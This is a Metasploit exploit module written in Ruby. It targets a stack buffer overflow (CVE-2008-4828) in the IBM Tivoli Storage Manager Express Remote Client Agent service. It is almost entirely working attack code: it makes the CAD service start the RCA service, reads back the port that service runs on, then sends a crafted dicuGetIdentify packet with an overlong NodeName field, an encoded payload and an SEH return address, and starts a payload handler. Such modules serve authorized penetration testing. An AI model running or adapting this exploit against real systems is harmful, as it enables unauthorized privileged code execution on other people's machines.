IBM Tivoli Storage Manager Express RCA Service Buffer Overflow

`##  
# $Id: ibm_tsm_rca_dicugetidentify.rb 7927 2009-12-21 07:56:48Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the IBM Tivoli Storage Manager Express Remote  
Client Agent service. By sending a "dicuGetIdentify" request packet containing a long   
NodeName parameter, an attacker can execute arbitrary code.  
  
NOTE: this exploit first connects to the CAD service to start the RCA service and obtain   
the port number on which it runs. This service does not restart.  
},  
'Author' => [ 'jduck' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7927 $',  
'References' =>  
[  
[ 'CVE', '2008-4828' ],  
[ 'OSVDB', '54232' ],  
[ 'BID', '34803' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Privileged' => true,  
'Payload' =>  
{  
# wchar_t buf[1024];  
'Space' => ((1024*2)+4),  
'BadChars' => '\x00',  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# this target should be pretty universal..  
# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..  
[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 04 2009'))  
  
register_options( [ Opt::RPORT(1582) ], self.class )  
  
end  
  
  
def make_tsm_packet(op,data)  
pkt = ""  
if op > 0xff  
pkt << [0,8,0xa5,op,0xc+data.length].pack('nCCNN')  
else  
pkt << [data.length,op,0xa5].pack('nCC')  
end  
pkt << data  
end  
  
  
def explode_tsm_packet(buf)  
return nil if buf.length < 4  
len,op,magic = buf[0,4].unpack('nCC')  
return nil if magic != 0xa5  
if op == 0x08  
return nil if buf.length < 12  
op,len = buf[4,8].unpack('NN')  
data = buf[12,len]  
else  
data = buf[4,len]  
end  
  
return op,data  
end  
  
  
def extract_port(buf)  
op,data = explode_tsm_packet(buf)  
if op != 0x10300  
print_error("Invalid response verb from CAD service: 0x%x" % op)  
return nil  
end  
if data.length < 6  
print_error("Insufficient data from CAD service.")  
return nil  
end  
port_str_len = data[4,2].unpack('n')[0]  
if data.length < (24+port_str_len)  
print_error("Insufficient data from CAD service.")  
return nil  
end  
rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i  
end  
  
  
def exploit  
  
print_status("Trying target %s..." % target.name)  
  
# first get the port number  
query = [1].pack('n')  
query << "\x00" * 10  
data = make_tsm_packet(0x10200, query)  
  
connect  
print_status("Attempting to start the RCA service via the CAD service...")  
sock.put(data)  
buf = sock.get_once(-1, 10)  
disconnect  
  
rca_port = extract_port(buf)  
if not rca_port or rca_port == 0  
print_error("The RCA agent service was not started :(")  
else  
print_status("RCA Agent is now running on port %u" % rca_port)  
end  
  
  
# trigger the vulnerability  
copy_len = payload_space + 4  
sploit = rand_text(33)  
# start offset, length  
sploit[10,4] = [0,copy_len].pack('n*')  
# data to copy  
buf = payload.encoded  
# we need this special encoding to make it work..  
buf << [target.ret].pack('V').unpack('v*').pack('n*')  
# adjustment :)  
sploit << buf  
data = make_tsm_packet(0x10400, sploit)  
  
connect(true, { 'RPORT' => rca_port })  
print_status("Sending specially crafted dicuGetIdentifyRequest packet...")  
sock.write(data)  
  
print_status("Starting handler...")  
handler  
disconnect  
end  
  
end  
`